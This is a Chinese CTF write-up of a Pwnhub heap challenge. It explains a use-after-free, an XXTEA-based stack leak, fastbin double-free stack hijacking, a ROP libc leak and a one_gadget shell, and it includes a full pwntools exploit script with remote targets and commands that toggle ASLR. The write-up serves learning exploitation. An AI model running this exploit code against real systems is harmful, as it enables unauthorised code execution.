PWN January 03, 2020

万圣节Pwnhub一道题

Words count 36k Reading time 33 mins. Read count 0

一、pwnhub

这题感觉挺有意思的 ,思路清晰了,但是过程煎熬了,下面记录下自己经历的事和学到的东西。

保护全开,就不说了直接看看ida:

57287762219

3个功能,一个malloc、一个free、一个write函数,这里先看下malloc函数:

57287782136

先申请一个0x10的没用的块用来隔开堆块,再申请不超过0xff的堆块去写内容,然后每一次malloc,num就会加一,这里只能malloc10次,超了就没了,接着看下free函数:

57287836205

很明显的UAF漏洞,然后只free那个自己申请的内容块,0x10的堆块作为标志位,没有被free。

下面看下write函数在干嘛:

57287815038

这里有个xxtea函数加密,可以实现将输入加密再输出来,但是我们输入的是0x20字节,它memcopy时会拷贝0x28字节,所以会将栈地址加密后给打印出来,这里我们需要一点逆向知识,解密xxtea,得到栈地址。

好了程序分析完了,一个洞,UAF,一个地址栈地址,要实现getshell:

1、先来看看作者的预期解:
1
2
3
4
5
6
7
8
9
1、先将栈地址打印出来,xxtea解密

2、通过fastbin attack的攻击,double free实现改堆块的末尾,使其指向有特定的堆块地址(那个unsort bin大小刚好是0x7f,FD有真实地址),接着申请到倒数第二块,就可以通过修改末尾来实现申请到malloc_hook-0x23的fake_chunk(1/16概率)

3、申请fake_chunk出来后,在malloc_hook-8位置处写入合适的size,作为新的fake_chunk的size,在malloc_hook+8(新的fake_chunk的bk指针)写入栈地址(保证能正常脱链)

4、unsorted bin attack我们的chunk的bk指针(malloc_hook-0x10),就会在malloc中写入main_arena+88地址,同时因为这个新的fake_chunk满足我们的需求就会被申请出来,我们可以改FD,也就是改malloc_hook里面的地址为onegadget(house of romain)

5、再次malloc触发getshell(看脸爆破!!!)
通过double free实现改堆块末尾,来造成fd指针有0x7f开头的地址,unsorteb bin可以实现边写入main_arena+88又同步申请fake_chunk,只要bk指针布局好了就不怕(bk指针要是可写的地址才行),一种新的攻击方式吧,学习了,但是这题这样做,因为堆块次数的限制,几乎做不出来,所以放弃了。

2、正解:

这里换一种新的思路去做题,就是劫持到栈上,我们一步步来分析这题,首先关闭内存地址随机化:

1
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

1、首先泄露出栈地址,手撕python代码,解密xxtea:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
_DELTA = 0x9E3779B9 
v = [0,0,0,0,0,0,0,0,0,0,0]
def decrypt(v,n,key):
n = n-1
z = v[n]
y = v[0]
q = 6 + 52 // (n + 1)
sum1 = (q * _DELTA) & 0xffffffff
while (sum1 != 0):
e = sum1 >> 2 & 3
for p in xrange(n, 0, -1):
z = v[p - 1]
v[p] = (v[p] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum1 ^ y) + (key[p & 3 ^ e] ^ z))) & 0xffffffff
y = v[p]
z = v[n]
v[0] = (v[0] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum1 ^ y) + (key[0 & 3 ^ e] ^ z))) & 0xffffffff
y = v[0]
sum1 = (sum1 - _DELTA) & 0xffffffff
return v
ru("welcome to ziiiro's classical heap quiz\n")
write('A'*0x20)
for i in range(11):
v[i] = u32(rc(4))
k = [0x6854CC6D,0x0A4BB7D0E,0x660B8F8F,0x714829A5]
n = 0xb
h = decrypt(v,n,k)
stack = (h[9]<<32)+h[8]
print "stack--->" + hex(stack)

2、有了栈地址后,我们通过fastbin的attack(double free),劫持栈空间(找到有0x7f开头的栈地址,找的时候仔细点即可)并申请出来:

57321613155

57321501414

可以看到我们找的fake_chunk是0x7fffffffdb7d,写入的内容,我们覆盖了read函数返回地址的末尾3位为write函数(0x4c9),这样就能打印出这个地址(需要1/16的爆破),从而得到程序的基地址,这里解释下,因为read函数调用时,会将下一条将要执行的指令地址先压入栈中,也就是说rsp此时放的是ret地址,这样我们只要改写了rsp处的ret地址就能控制程序的执行流程,这是和以往有点不太一样的地方。

有了基地址,rop链子就准备好了:

1
2
3
4
5
6
7
pop_rdi_ret = base_addr + 0x1513
pop_rsi_r15_ret = base_addr + 0x1511
read_plt = base_addr + elf.sym["read"]
write_plt = base_addr + elf.sym["write"]
num_addr = base_addr + 0x20203C
main_addr = base_addr + 0xe66
write_got = base_addr + 0x201F88

接着我们继续fastbin的attack,继续劫持栈空间,又是改rsp的read的ret地址,这样反复控制程序的执行流程,就能调用read函数改写申请的malloc次数的值因为超过9就无法再次申请,所以先解除这个限制:

1
2
3
4
5
6
7
8
9
10
11
12
py = ''
py += 'a'*3
py += p64(0)
py += p64(pop_rdi_ret)
py += p64(0)
py += p64(pop_rsi_r15_ret)
py += p64(num_addr)
py += p64(0)
py += p64(read_plt)
py += p64(main_addr)
fastbin_attack(fake_chunk-0x20,py)
sd('\x00')

接着,继续fastbin_attack,我们就能调用write函数泄露出真实地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ru("welcome to ziiiro's classical heap quiz\n")
py = ''
py += 'a'*3
py += p64(0)
py += p64(pop_rdi_ret)
py += p64(1)
py += p64(pop_rsi_r15_ret)
py += p64(write_got)
py += p64(0)
py += p64(write_plt)
py += p64(main_addr)
fastbin_attack(fake_chunk-0x58,py)

libc_base = u64(rc(8)) - libc.sym["write"]
onegadget = libc_base + onegadget64[3]
print "libc_base--->" + hex(libc_base)

再来一次就能填onegadget了,最后getshell:

1
2
3
4
5
6
ru("welcome to ziiiro's classical heap quiz\n")
py = ''
py += 'a'*3
py += p64(0)
py += p64(onegadget)
fastbin_attack(fake_chunk-0x90,py)

最后,先开回pie,再爆破,上exp:

1
sudo sh -c "echo 1 > /proc/sys/kernel/randomize_va_space"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
#coding=utf8
import struct
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./classic')
if local:
p = process('./classic')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

onegadget64 = [0x45216,0x4526a,0xf02a4,0xf1147]
_DELTA = 0x9E3779B9
v = [0,0,0,0,0,0,0,0,0,0,0]

def decrypt(v,n,key):
n = n-1
z = v[n]
y = v[0]
q = 6 + 52 // (n + 1)
sum1 = (q * _DELTA) & 0xffffffff
while (sum1 != 0):
e = sum1 >> 2 & 3
for p in xrange(n, 0, -1):
z = v[p - 1]
v[p] = (v[p] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum1 ^ y) + (key[p & 3 ^ e] ^ z))) & 0xffffffff
y = v[p]
z = v[n]
v[0] = (v[0] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum1 ^ y) + (key[0 & 3 ^ e] ^ z))) & 0xffffffff
y = v[0]
sum1 = (sum1 - _DELTA) & 0xffffffff
return v
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))


def malloc(con,size,content):
sd('\x01')
sd(con)
sl(str(size))
sd(content)
def free(index):
sd('\x02')
sl(str(index))

def write(content):
sd('\x03')
sd(content)

def fastbin_attack(chunk,py):
free(1)
free(0)
free(1)
malloc('3'*8,0x60,p64(chunk))
malloc('4'*8,0x60,'d'*0x60)
malloc('5'*8,0x60,'e'*0x60)
malloc('6'*0x8,0x60,py)
debug(0)

def pwn():
ru("welcome to ziiiro's classical heap quiz\n")
write('A'*0x20)
for i in range(11):
v[i] = u32(rc(4))
k = [0x6854CC6D,0x0A4BB7D0E,0x660B8F8F,0x714829A5]
n = 0xb
h = decrypt(v,n,k)
stack = (h[9]<<32)+h[8]
print "stack--->" + hex(stack)
fake_chunk = stack-0x163
print "fake_chunk--->" + hex(fake_chunk)
malloc('0'*8,0x60,'a'*0x60)
malloc('1'*8,0x60,'b'*0x60)
malloc('2'*8,0x60,'c'*0x60)

py = 'a'*3
py += p64(0)
py += '\xA9\x4E'
# debug(0x000DAD)
fastbin_attack(fake_chunk,py)
rc(11)
base_addr = u64(rc(8)) - 0xeb3
print "base_addr--->" + hex(base_addr)
pop_rdi_ret = base_addr + 0x1513
pop_rsi_r15_ret = base_addr + 0x1511
read_plt = base_addr + elf.sym["read"]
write_plt = base_addr + elf.sym["write"]
num_addr = base_addr + 0x20203C
main_addr = base_addr + 0xe66
write_got = base_addr + 0x201F88

py = ''
py += 'a'*3
py += p64(0)
py += p64(pop_rdi_ret)
py += p64(0)
py += p64(pop_rsi_r15_ret)
py += p64(num_addr)
py += p64(0)
py += p64(read_plt)
py += p64(main_addr)
fastbin_attack(fake_chunk-0x20,py)
sd('\x00')

ru("welcome to ziiiro's classical heap quiz\n")
py = ''
py += 'a'*3
py += p64(0)
py += p64(pop_rdi_ret)
py += p64(1)
py += p64(pop_rsi_r15_ret)
py += p64(write_got)
py += p64(0)
py += p64(write_plt)
py += p64(main_addr)
fastbin_attack(fake_chunk-0x58,py)

libc_base = u64(rc(8)) - libc.sym["write"]
onegadget = libc_base + onegadget64[3]
print "libc_base--->" + hex(libc_base)

ru("welcome to ziiiro's classical heap quiz\n")
py = ''
py += 'a'*3
py += p64(0)
py += p64(onegadget)
fastbin_attack(fake_chunk-0x90,py)

i = 0
while 1:
print i
i += 1
try:
pwn()
except EOFError:
p.close()
local = 1
elf = ELF('./classic')
if local:
p = process('./classic')
libc = elf.libc
continue
else:
p = remote('121.40.246.48',9999)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
sl("ls")
break
p.interactive()

57321630070

总结:这里学到的新东西是函数调用的理解更清晰了,堆的操作结合栈的操作一起考察,这题质量是真的高,同时意识到pwn和re是不分家的,是时候补补re基础了,多学学加密算法。
0%